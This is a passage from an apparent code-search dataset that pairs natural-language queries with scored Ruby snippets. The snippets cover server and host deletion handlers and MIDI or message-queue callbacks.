"docid": "e6ab987988fe862605a55dc525b77349",
"score": "0.6586842",
"text": "def delete_host(client, name)\n result = client.delete_host(name: name, cascade: true)\n Chef::Log.debug(result.to_s)\n raise \"Can't open connection to API\" if result.nil?\n raise result.to_s unless result.is_a?(Hash)\n raise \"Failed to delete object Host #{name}: #{result}\" unless [200, 404].include?(result['code'])\n end",
"title": ""
},
{
"docid": "df784827221b81423bdd0ee53c6e5dfa",
"score": "0.6579569",
"text": "def destroy\n @pos_server = PosServer.find(params[:id])\n @pos_server.destroy\n\n respond_to do |format|\n format.html { redirect_to pos_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "61809045db2d1cdfef0fcd9df836e47f",
"score": "0.6575271",
"text": "def gce_server_delete(number)\n name = \"test-webserver\" + number.to_s\n options = [\n \"-Z us-central1-a\",\n \"-y\",\n ].join(' ')\n command = \"knife google server delete #{name} #{options}\"\n system(command)\nend",
"title": ""
},
{
"docid": "d8a6543f39231be2971cc0f42b0ed77c",
"score": "0.65731966",
"text": "def destroy\n @discord_server.destroy\n respond_to do |format|\n format.html { redirect_to discord_servers_url, notice: 'Discord server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c844ce85dd58eacdfc29e179e4d876a9",
"score": "0.65505135",
"text": "def destroy\n @appserver.destroy\n respond_to do |format|\n format.html { redirect_to appservers_url, notice: 'Appserver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cfd85b6431f32e79f172fd8b5f302f82",
"score": "0.6550447",
"text": "def destroy\n @iotonserver.destroy\n respond_to do |format|\n format.html { redirect_to iotonservers_url, notice: 'Iotonserver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20de0b72c3c0d03e8f58055b65b09472",
"score": "0.65504086",
"text": "def destroy\n @hq_server = HqServer.find(params[:id])\n @hq_server.destroy\n \n respond_to do |format|\n format.html { redirect_to(hq_servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b8fcc52dce4d24265203ed0d14e2b310",
"score": "0.6538023",
"text": "def destroy\n @soaplab_server = SoaplabServer.find(params[:id])\n @soaplab_server.destroy\n\n respond_to do |format|\n format.html { redirect_to(soaplab_servers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d3dfe1ae13561007b180955715992b49",
"score": "0.6536948",
"text": "def destroy\n sensu.reject! { |api| api['host'] == host }\n end",
"title": ""
},
{
"docid": "9de41f7dd6f3b6688cffc2be3ca91440",
"score": "0.6528589",
"text": "def delete!\n response = @connection.csreq(\"DELETE\",@svrmgmthost,\"#{@svrmgmtpath}/servers/#{URI.encode(self.id.to_s)}\",@svrmgmtport,@svrmgmtscheme)\n CloudServers::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n true\n end",
"title": ""
},
{
"docid": "bc64526d26cc8978b1bade88b5e42e3f",
"score": "0.65280735",
"text": "def destroy\n @console_server.destroy\n respond_to do |format|\n format.html { redirect_to console_servers_url, notice: 'Console server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "93f3b3d7a5ea00b7d9f5d1b332686740",
"score": "0.6527628",
"text": "def destroy\n @platform_server.destroy\n respond_to do |format|\n format.html { redirect_to platform_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "43c86573c7630f6dd46c9fda5a128258",
"score": "0.6522087",
"text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to :servers, notice: 'Оборудование успешно удалено.' }\n end\n end",
"title": ""
},
{
"docid": "d2375b11675de0e152de07976b50e9c7",
"score": "0.65116525",
"text": "def delete_request(url, queries)\n results = @@client.delete url, queries\n results.to_json\nend",
"title": ""
},
{
"docid": "179ff0053e8f4f967cb3d92206094cf0",
"score": "0.6509647",
"text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "718fd485f95a30a8c897e2403defb29f",
"score": "0.65063006",
"text": "def delete(path, params={}); make_request(:delete, host, port, path, params); end",
"title": ""
},
{
"docid": "ae1f719e6b4d3ea53fc0ca9051ba0b88",
"score": "0.64990073",
"text": "def openvz_fog_test_server_destroy\n server = openvz_service.servers.find { |s| s.ctid == '104' }\n server.destroy if server\nend",
"title": ""
},
{
"docid": "f97d94bf8b3dc13f632dcb188fbeebe5",
"score": "0.6497347",
"text": "def destroy\n clear_all_connections\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75a785bddc2252b3dfe08070dcb44399",
"score": "0.64914894",
"text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end",
"title": ""
},
{
"docid": "ec1808726c65a244f734c69b352d3ca5",
"score": "0.6488823",
"text": "def delete_by_name(node)\n resp = JSON.parse($m.request('/status/hosts/list').body)['records']\n resp.each do |stat|\n if stat['hostname'] == node \n puts \"Deleting node: \" + stat['hostname']\n $m.request(\"/admin/hosts/delete\", \"id=#{stat['id']}\")\n end\n end\nend",
"title": ""
},
{
"docid": "441ff6104ac00f2de87439e957613e03",
"score": "0.64861846",
"text": "def delete_server\n super\n end",
"title": ""
},
{
"docid": "ba67ebd85114998e01be10599c8943ca",
"score": "0.64820194",
"text": "def delete(path)\n RestClient.delete request_base+path\n end",
"title": ""
},
{
"docid": "d91e4b1f1b774c99b726cbbf79e6bd69",
"score": "0.6480856",
"text": "def destroy\n @mail_server = MailServer.find(params[:id])\n @mail_server.destroy\n\n respond_to do |format|\n format.html { redirect_to mail_servers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a67da3c0a80239b790a14b51d559de9",
"score": "0.648078",
"text": "def destroy\n render json: @api_v1_client if @api_v1_client.destroy\n end",
"title": ""
},
{
"docid": "cbcf6abdc2f3cda25c3fbf61b5b266ec",
"score": "0.64789814",
"text": "def delete_service(client, name, host_name)\n result = client.delete_service(name: name, host_name: host_name, cascade: true)\n Chef::Log.debug(result.to_s)\n raise \"Can't open connection to API\" if result.nil?\n raise result.to_s unless result.is_a?(Hash)\n raise \"Failed to delete object Service #{name}: #{result}\" unless [200, 404].include?(result['code'])\n end",
"title": ""
},
{
"docid": "1631335dea38cdce9549dd45a5afaf07",
"score": "0.64748526",
"text": "def destroy\n @serv = Serv.find(params[:id])\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7452c4d15daf08108aaa5a1b728adb31",
"score": "0.64703417",
"text": "def destroy\n @json.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "30a53c5da2c0a91ccdc80dcfb4296eb6",
"score": "0.64683735",
"text": "def destroy\n @serve.destroy\n respond_to do |format|\n format.html { redirect_to serves_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "74673afba1025a26189e0791d65e04cb",
"score": "0.6465904",
"text": "def action_delete\n delete_virtual_server if @current_resource.exists\n end",
"title": ""
},
{
"docid": "c53a7ddfb5f66bdab62b1fc4305a0473",
"score": "0.6465414",
"text": "def delete *args\n make_request :delete, *args\n end",
"title": ""
},
{
"docid": "e4d577130f2ab81066fe39b95180b96d",
"score": "0.64650524",
"text": "def delete(args)\n url = build_url(args[:endpoint], args[:subs], args[:parameters])\n HTTParty.delete(url, headers: args[:headers], query: args[:query])\n end",
"title": ""
},
{
"docid": "6a6aedd4fd14d1804d16885df1e9d68a",
"score": "0.6458323",
"text": "def delete!(headers=false); call_client(:delete!, headers); end",
"title": ""
},
{
"docid": "a41be49f6458790d5a2d38db09348203",
"score": "0.64207333",
"text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end",
"title": ""
},
{
"docid": "74609d345f2a94b80363255db6a8d480",
"score": "0.6420013",
"text": "def delete\n @server.delete_run uuid\n end",
"title": ""
},
{
"docid": "14142c25f131ba650b373132afac315a",
"score": "0.6406983",
"text": "def delete(headers=false); call_client(:delete, headers); end",
"title": ""
},
{
"docid": "9106867cee9e8775ba817195d3bc2020",
"score": "0.64040273",
"text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end",
"title": ""
},
{
"docid": "9d43b417dd5e319aae919c64ea4154d1",
"score": "0.6387519",
"text": "def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
b90f343712ac105abb18a4e0356ac1c5 | The callback fired by coremidi when new MIDI messages are in the buffer | [
{
"docid": "83c8d6490c6e79ebab58e742b3e1a118",
"score": "0.60531",
"text": "def get_event_callback\n Proc.new do |new_packets, refCon_ptr, connRefCon_ptr|\n begin\n # p \"packets received: #{new_packets[:numPackets]}\"\n timestamp = Time.now.to_f\n messages = get_messages(new_packets)\n # SINM ADDED\n @queue.push(messages.map do |message|\n enqueue_message(message, timestamp)\n end.compact)\n # SINM COMMENTED OUT\n # messages.each { |message| enqueue_message(message, timestamp) }\n rescue Exception => exception\n Thread.main.raise(exception)\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "afb3e4463c9b34a5c283f92a772b902d",
"score": "0.67335325",
"text": "def handle_event_received(patch, event, &callback)\n messages = event[:message]\n patch_messages = ::Patch::IO::MIDI::Message.to_patch_messages(patch, messages)\n yield(patch_messages) if block_given?\n patch_messages\n end",
"title": ""
},
{
"docid": "5831a6cfdd54e64a6ba255d2d38835a2",
"score": "0.6537149",
"text": "def receive_update buffer\n receive_update_callbacks.each do |callback|\n EM.next_tick do\n callback.call buffer.dup\n end\n end\n end",
"title": ""
},
{
"docid": "77d7b9b4766cb6a1b2902ee4f0b3fa6d",
"score": "0.6325863",
"text": "def onmessage(&blk); super; end",
"title": ""
},
{
"docid": "160b82cbb4cf935510ad08b6a0cc9dc3",
"score": "0.6224248",
"text": "def on_message(m)\n end",
"title": ""
},
{
"docid": "79227468599965242ab38af94023518b",
"score": "0.6173271",
"text": "def received\n end",
"title": ""
},
{
"docid": "30c6512a54f85a00ef1a458f13f96e57",
"score": "0.6169676",
"text": "def on_newmessage(time, userid, username, msg)\n end",
"title": ""
},
{
"docid": "df24ca49cb86cbd382fa7337755a723c",
"score": "0.6092366",
"text": "def message_buffer; end",
"title": ""
},
{
"docid": "94de624a57438d65499a727abe7a2a74",
"score": "0.60165787",
"text": "def on_message(&block)\n @@message_callback = block\n end",
"title": ""
},
{
"docid": "f0fcc0b03d1a6508a6bbe0a0cb467038",
"score": "0.5956689",
"text": "def on_001 (msg)\n when_ready if respond_to? :when_ready\n end",
"title": ""
},
{
"docid": "4c8580c57518f64dbc6def7a7b3d0703",
"score": "0.59529704",
"text": "def process_msgs\n end",
"title": ""
},
{
"docid": "b7032a5fbbb300e94d0d329d49f56434",
"score": "0.5933636",
"text": "def msg_received(notification)\n data = notification.userInfo.objectForKey(NSFileHandleNotificationDataItem)\n if data.length > 0\n NSLog(\"msg_received\")\n @on_read.call(data)\n end\n @handle.readInBackgroundAndNotify\n end",
"title": ""
},
{
"docid": "5713260aaaf7170a4373e7018672a943",
"score": "0.5931312",
"text": "def buffered_messages; end",
"title": ""
},
{
"docid": "1d5c348e2667ff7c88f272a7b8690ff8",
"score": "0.58823985",
"text": "def on_msg(msg)\n\n on_message(false, msg)\n end",
"title": ""
},
{
"docid": "e524d5f6b95a54a1792727a0cd69480f",
"score": "0.5877307",
"text": "def queued_messages\r\n @buffer.slice(@pointer, @buffer.length - @pointer)\r\n end",
"title": ""
},
{
"docid": "6ed207fa87aa4dbc13e31357900f7677",
"score": "0.58711094",
"text": "def on_message(buffer)\n # writing will never block and will use a buffer written in C when needed.\n publish channel: :chat, message: \"Someone said: #{buffer}\"\n switch_protocol ShoooProtocol if buffer =~ /^shoo[\\r\\n]/i\n write \"You speak!\\n\" if unsubscribe(subscribed?(channel: :quite))\n end",
"title": ""
},
{
"docid": "61604b5f5d91fe8caff54eef438b3c2c",
"score": "0.5815639",
"text": "def receive_data(data)\n #@logger.trace { \">>> #{data.inspect}\" }\n @buffer.receive(data) do |message_type_char, raw_message|\n @message = MosesPG::Message.create(message_type_char, raw_message)\n @logger.trace { \">>> #{@message}\" }\n @message.events.each { |event| send(event) }\n end\n self\n end",
"title": ""
},
{
"docid": "399c24d2a72ac9a6fb067e0acd0a6d92",
"score": "0.5814025",
"text": "def on_message_data_receiving_event(ctx) end",
"title": ""
},
{
"docid": "6d83345c25d142f1e83097eb9e326841",
"score": "0.5764539",
"text": "def queued_messages\n @buffer.slice(@pointer, @buffer.length - @pointer)\n end",
"title": ""
},
{
"docid": "a727d658c5c7c1dc8b27703fb71157fe",
"score": "0.5759314",
"text": "def on_receive(message)\n update\n end",
"title": ""
},
{
"docid": "f72d01b309174595680b6a29e2df222a",
"score": "0.5747671",
"text": "def receive_data(data)\n @buffer.extract(data).each do |line|\n payload = { :uuid => @uuid, \n :message => line,\n :host => @host,\n :user => @user }\n @global_history_fanout.publish(payload.to_json)\n end\n end",
"title": ""
},
{
"docid": "127075f655968ace3db90a7a0e5ceccb",
"score": "0.574662",
"text": "def listen(patch, &callback)\n if !@listener.nil?\n @listener.listen_for(:class => [MIDIMessage::ControlChange]) do |event|\n handle_event_received(patch, event, &callback)\n end\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "72832ffd058c1e5e4b191b7bc393d809",
"score": "0.5746261",
"text": "def on_message_data_event(ctx); end",
"title": ""
},
{
"docid": "3d6df59e7e0abda6eb51d54b6c5ebe42",
"score": "0.5745317",
"text": "def message_callbacks\n @messagecbs\n end",
"title": ""
},
{
"docid": "4347ef101754a8a8fc5461527d1ce351",
"score": "0.5686281",
"text": "def snd_nowait(msg)\n MsgQ.msgsnd_nowait(@qid, msg)\n end",
"title": ""
},
{
"docid": "aa38e078de27a823b900dab63dea8b83",
"score": "0.56599516",
"text": "def process\n changed\n notify_observers(@pointer)\n @pointer\n end",
"title": ""
},
{
"docid": "12ffa4e2bb8a002ab9fee7d905707a46",
"score": "0.5629932",
"text": "def on_eof( channel )\n end",
"title": ""
},
{
"docid": "58c2e67ea8f0acb29c28c8e57aff9c92",
"score": "0.56163937",
"text": "def receiving(data); end",
"title": ""
},
{
"docid": "58c2e67ea8f0acb29c28c8e57aff9c92",
"score": "0.56163937",
"text": "def receiving(data); end",
"title": ""
},
{
"docid": "ca9387ee8f97982b7d67c022b47b8603",
"score": "0.56101924",
"text": "def trigger_on_message(msg); @app.on_message(msg); end",
"title": ""
},
{
"docid": "5d27d0a5fb99671561baa1e8c4401803",
"score": "0.5608885",
"text": "def on_message_data_event(ctx) end",
"title": ""
},
{
"docid": "73b3aff0e132e918cc4b1fccb7115932",
"score": "0.56068337",
"text": "def on_receive(message)\n end",
"title": ""
},
{
"docid": "3e6823a6d56e16d274c6bad1f8e58416",
"score": "0.5591492",
"text": "def on_message_data_start_event(ctx) end",
"title": ""
},
{
"docid": "c2f1d124a5b2ffb9eaa38b29bd70b913",
"score": "0.5554082",
"text": "def on_message(event)\n data = event.data\n\n response = data.match(/~m~\\d*~m~(.*)/)[1]\n message =\n case response\n when /no_session/\n {'command' => 'no_session'}\n when /~h~([0-9]+)/\n # Send the heartbeat command back to the server\n @socket.send($1)\n {'command' => 'heartbeat'}\n else\n JSON.parse(response)\n end\n message['command'] = 'response_received' if message['msgid']\n\n logger.debug \"Message received: #{message.inspect}\"\n dispatch(message)\n end",
"title": ""
},
{
"docid": "7eb057d5ca4f05d1802ea4723d7a2ac6",
"score": "0.5551633",
"text": "def subscribe(&onMessage) # block\n end",
"title": ""
},
{
"docid": "839d492929b586cc69dfab9cf65dcfdc",
"score": "0.55336344",
"text": "def receive_msg msg\n # stub, overwrite this in your handler\n end",
"title": ""
},
{
"docid": "98e4d4a1029fde07005acd5caa454421",
"score": "0.55328435",
"text": "def receive_msg(msg)\n if msg.command == \"CONNECTED\"\n @log.debug(\"#{self} received CONNECTED : #{msg.inspect}\")\n @connected = true\n else\n @log.debug(\"got a message: #{msg.inspect}\")\n @log.debug(\"#{self} got a message\")\n @data_received << msg # accumulate messages\n end\n end",
"title": ""
},
{
"docid": "bea252995f954c45fca042d70571f67a",
"score": "0.55283904",
"text": "def receive_message(message)\n end",
"title": ""
},
{
"docid": "de4bbb1e5c3b0d56feb971ae98b7745d",
"score": "0.5502474",
"text": "def began msg\n end",
"title": ""
},
{
"docid": "4d95750070443f5fe219334e1ff5b4b5",
"score": "0.5483828",
"text": "def process\n read_events.each {|event| event.callback!}\n end",
"title": ""
},
{
"docid": "e4c29cb8063ca31cf8ebc0d449b635a4",
"score": "0.54769707",
"text": "def recv_callback\n @recv_callback ||= Proc.new {|message|}\n end",
"title": ""
},
{
"docid": "75ef0c97a0f700c97183148234eec265",
"score": "0.5476107",
"text": "def message_received(jid,text)\n debug \"message received from #{jid}\"\n window = message_window_for(jid)\n window.window.show\n debug \"add msg\"\n window.add_message(text)\n end",
"title": ""
},
{
"docid": "ade4c52e82b386023b4d03a630277122",
"score": "0.5474586",
"text": "def message_received(&callback)\n if block_given?\n @message_received_callbacks << callback\n else\n @message_received_callbacks.each { |c| c.call }\n if @check_interval > 0\n now = Time.now\n if (now - @last_received) > MIN_RESTART_INACTIVITY_TIMER_INTERVAL\n @last_received = now\n restart_inactivity_timer\n end\n end\n end\n true\n end",
"title": ""
},
{
"docid": "85c227ad877bb203a51086256f08ea8f",
"score": "0.5468062",
"text": "def on_message(params={}, &proc)\n raise(ArgumentError, 'MessageConsumer::on_message requires a code block to be executed for each message received') unless proc\n\n # Turn on Java class persistence: https://github.com/jruby/jruby/wiki/Persistence\n self.class.__persistent__ = true\n\n @listener = JMS::MessageListenerImpl.new(params, &proc)\n self.setMessageListener(@listener)\n end",
"title": ""
},
{
"docid": "e06362877991d7868eb7b29cb83e0e5e",
"score": "0.54537326",
"text": "def on_message(event)\n data = if @inflate\n packed = event.data.pack('c*')\n @inflate << packed\n return unless packed.end_with?(ZLIB_SUFFIX)\n\n @inflate.inflate('')\n else\n event.data\n end\n\n LOGGER.debug { \"[IN] #{data[0].ord == 131 ? data.inspect : data}\" }\n emit(:message, data)\n end",
"title": ""
},
{
"docid": "d667d0b96ec0073c8a990d6a2fc6fb49",
"score": "0.54523027",
"text": "def on_message(message)\n if Integer === message\n @count += message\n end\n end",
"title": ""
},
{
"docid": "d667d0b96ec0073c8a990d6a2fc6fb49",
"score": "0.54523027",
"text": "def on_message(message)\n if Integer === message\n @count += message\n end\n end",
"title": ""
},
{
"docid": "bdad161f5a2eb8d9cd32439955febbb5",
"score": "0.54270536",
"text": "def message(*args)\n format = \"C\" * args.size\n bytes = DL::CPtr.to_ptr(args.pack(format))\n C.snd_rawmidi_write(@output, bytes, args.size)\n C.snd_rawmidi_drain(@output)\n end",
"title": ""
},
{
"docid": "4065d12f11301fe885d17e8f1d379d5d",
"score": "0.5411447",
"text": "def test_full_io\n sleep(1)\n messages = VariousMIDIMessages\n messages_arr = messages.inject { |a,b| a+b }.flatten\n received_arr = []\n pointer = 0\n TestOutput.open do |output|\n TestInput.open do |input|\n\n messages.each do |msg|\n\n $>.puts \"sending: \" + msg.inspect\n\n output.puts(msg)\n sleep(1)\n received = input.gets.map { |m| m[:data] }.flatten\n \n\n $>.puts \"received: \" + received.inspect\n\n assert_equal(messages_arr.slice(pointer, received.length), received)\n \n pointer += received.length\n \n received_arr += received\n \n end\n \n assert_equal(messages_arr.length, received_arr.length)\n\n end\n end\n end",
"title": ""
},
{
"docid": "b7a9e3411e6ff918a0702380720de07b",
"score": "0.5407041",
"text": "def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\t@log.debug(\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\t@log.warn(\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.warn(\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "d7266549a52b4fcc9ef0d85fe53084a1",
"score": "0.5391897",
"text": "def receive_data(data)\n log_debug '[server] receive_data: %s' % data\n @buffer << data\n handle_client if @buffer.flushed?\n end",
"title": ""
},
{
"docid": "d8ae102d74a3be354bfb2fbe5eafb402",
"score": "0.5382707",
"text": "def start\n EM::Iterator.new(1..8).each do |n,iter|\n size = n * 256\n message = Array.new(size, \"#\").join\n @consumer_channel.push pack_message_event({ :id => generate_message_id, :data => message })\n iter.next\n end\n end",
"title": ""
},
{
"docid": "d122e9345c50d24dbd85258472c04f5c",
"score": "0.53714776",
"text": "def msg_init\n\t@msg_buf = []\n end",
"title": ""
},
{
"docid": "a08d4199547c5d8d938a4bbd05ed1dab",
"score": "0.5365575",
"text": "def listener message\n p message\n case message.downcase\n # add own messages\n when \"start\"\n puts 'Starting'\n when \"end\"\n puts 'Ending'\n stop\n exit 0\n else\n puts \"unknown message:#{message}\"\n end\n publish \"ack\"\n end",
"title": ""
},
{
"docid": "07c92f832df734b2ae9d761af0dfdb6f",
"score": "0.53566587",
"text": "def on_readable socket, messages\n @on_read.call messages, socket\n end",
"title": ""
},
{
"docid": "413fb6b913bcca4d47fc02c5adfc66ca",
"score": "0.5352836",
"text": "def notify(msg)\n @room_queue.push(msg)\n end",
"title": ""
},
{
"docid": "5d41a75b0d28722d52c33ad3e28d88f1",
"score": "0.53502846",
"text": "def on_pre_msg(msg)\n\n on_message(true, msg)\n end",
"title": ""
},
{
"docid": "6b2749a879d03a103bf497def12ff2c5",
"score": "0.53200847",
"text": "def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
"title": ""
},
{
"docid": "e39f7bae6e4a64868f0833623b500112",
"score": "0.53163195",
"text": "def process_messages\n # Check status for all streams, reopen as necessary\n @streams.each { |_, stream| try { stream.keep_alive } }\n\n # Actual processing of incoming messages happens in event callbacks\n # Oбрабатываем пришедшее сообщение в интерфейсах обратного вызова\n @conn.ProcessMessage2(100)\n end",
"title": ""
},
{
"docid": "47b8fb6c6a086e9bc5e5b7bbd89fcece",
"score": "0.5315581",
"text": "def update_message(data); end",
"title": ""
},
{
"docid": "47b8fb6c6a086e9bc5e5b7bbd89fcece",
"score": "0.5315581",
"text": "def update_message(data); end",
"title": ""
},
{
"docid": "9932bb772fafb445b8e53cb7e0383f15",
"score": "0.52993745",
"text": "def onMessage(event)\n type, client_id = event.getMessageObject().split(':')\n case type\n when 'message'\n @engine.empty_queue(client_id)\n when 'disconnect'\n @engine.server.trigger(:close, client_id)\n else\n @engine.server.debug 'Unknown event ?', type\n end\n end",
"title": ""
},
{
"docid": "3953f99d97b7ee7d15e3ed76c0e3503a",
"score": "0.5290899",
"text": "def midi_in(bytes)\n return unless accept_from_input?(bytes)\n\n bytes_duped = false\n\n high_nibble = bytes.high_nibble\n case high_nibble\n when NOTE_ON, NOTE_OFF, POLY_PRESSURE\n return unless inside_zone?(bytes[1])\n\n if bytes[0] != high_nibble + @output_chan || (@xpose && @xpose != 0)\n bytes = bytes.dup\n bytes_duped = true\n end\n\n bytes[0] = high_nibble + @output_chan\n bytes[1] = ((bytes[1] + @xpose) & 0xff) if @xpose\n when CONTROLLER, PROGRAM_CHANGE, CHANNEL_PRESSURE, PITCH_BEND\n if bytes[0] != high_nibble + @output_chan\n bytes = bytes.dup\n bytes_duped = true\n bytes[0] = high_nibble + @output_chan\n end\n end\n\n # We can't tell if a filter will modify the bytes, so we have to assume\n # they will be. If we didn't, we'd have to rely on the filter duping the\n # bytes and returning the dupe.\n if @filter\n if !bytes_duped\n bytes = bytes.dup\n bytes_duped = true\n end\n bytes = @filter.call(self, bytes)\n end\n\n if bytes && bytes.size > 0\n midi_out(bytes)\n end\n end",
"title": ""
},
{
"docid": "34a7b50285d222085f4d766ad276d148",
"score": "0.5281493",
"text": "def on_read socket, messages\n string = ''\n messages.each_with_index do |message, index|\n string << '|' if index > 0\n string << \"#{message.copy_out_string}\"\n end\n\n @file.print \"#{string}\\n\"\n @file.flush\n end",
"title": ""
},
{
"docid": "f601b7c1cfe833927389d91b025ea4d5",
"score": "0.5279386",
"text": "def event_incoming_chat(client, msg)\nend",
"title": ""
},
{
"docid": "7b91f0dc3c3d8b1a1e6dc2d2740ee32d",
"score": "0.5275065",
"text": "def on_message(pattern, event, message)\n _, message = event.split(\":\")\n unless message == self.identity\n @logger.debug({context: :monitor, pattern: pattern, event: event, message: message}.to_json)\n data = @client.hgetall(fnamespace)\n self.set(namespace, value)\n end\n end",
"title": ""
},
{
"docid": "a0454bdee250cb5b069cd72be97a6db0",
"score": "0.52748966",
"text": "def receive_data(data)\n @buffer << data\n end",
"title": ""
},
{
"docid": "a8cdb0d42ce3f160414650f414fd4cd9",
"score": "0.5271311",
"text": "def messages\n @monitor.synchronize {\n if @buffer[@next_index] == nil\n @buffer[0...@next_index]\n else\n @buffer[@next_index...@limit] + @buffer[0...@next_index]\n end\n }\n end",
"title": ""
},
{
"docid": "1717ebed71ef3cd5ef1af7dc65964dc8",
"score": "0.5269468",
"text": "def create_message_event\n this = self\n socket.on(:message) { |msg| this.handle_message(msg) }\n end",
"title": ""
},
{
"docid": "ae6a998ce29e9264f281fb3f54c10911",
"score": "0.5264381",
"text": "def on_message_complete\n send_response\n close_socket\n write_to_screen\n end",
"title": ""
},
{
"docid": "f107469de64a1a32800e16ca048edd8d",
"score": "0.52526313",
"text": "def on_message(msg); @parent.on_message(@env, msg); end",
"title": ""
},
{
"docid": "6a1f1e4e23bdccc6aa7fbcb11e5d348a",
"score": "0.52513653",
"text": "def on_message(&handler)\n @on_message_handler = handler\n end",
"title": ""
},
{
"docid": "720a75e66a96d7eeb7ae5a90bfe6dea3",
"score": "0.52419204",
"text": "def _send_message(msg, opts = {}, block = nil)\n if (block)\n # register callback for responses to 'mid'\n debug \"(#{id}) register callback for responses to 'mid: #{msg.mid}'\"\n @lock.synchronize do\n @context2cbk[msg.mid.to_s] = { block: block, created_at: Time.now }\n end\n end\n end",
"title": ""
},
{
"docid": "456e6fc63d3f6615c014c3bd9a21929c",
"score": "0.5241722",
"text": "def EVIOCGSND(len); _IOC(_IOC_READ, 'E', 0x1a, len);end",
"title": ""
},
{
"docid": "b0b734b3a090b8458782c7824885e03c",
"score": "0.5240833",
"text": "def on_message_complete\n @finished = true\n end",
"title": ""
},
{
"docid": "ee82fab1da93a2dced5224ddb64d7cd9",
"score": "0.5238002",
"text": "def on_message client, data\n controller(client).on_message(data)\n end",
"title": ""
},
{
"docid": "0f29deaf121c8c46046c7de6240f7776",
"score": "0.52363664",
"text": "def on_message(env, msg)\n log(\"received\", msg)\n Message.new(@connection, msg).dispath\n end",
"title": ""
},
{
"docid": "c53157ec11443e14f5518b3abe1322dd",
"score": "0.5225792",
"text": "def before_processing_hook(msg, connection); end",
"title": ""
},
{
"docid": "bdddd29a11d86c1ab7a5ca8fcb66537d",
"score": "0.5223379",
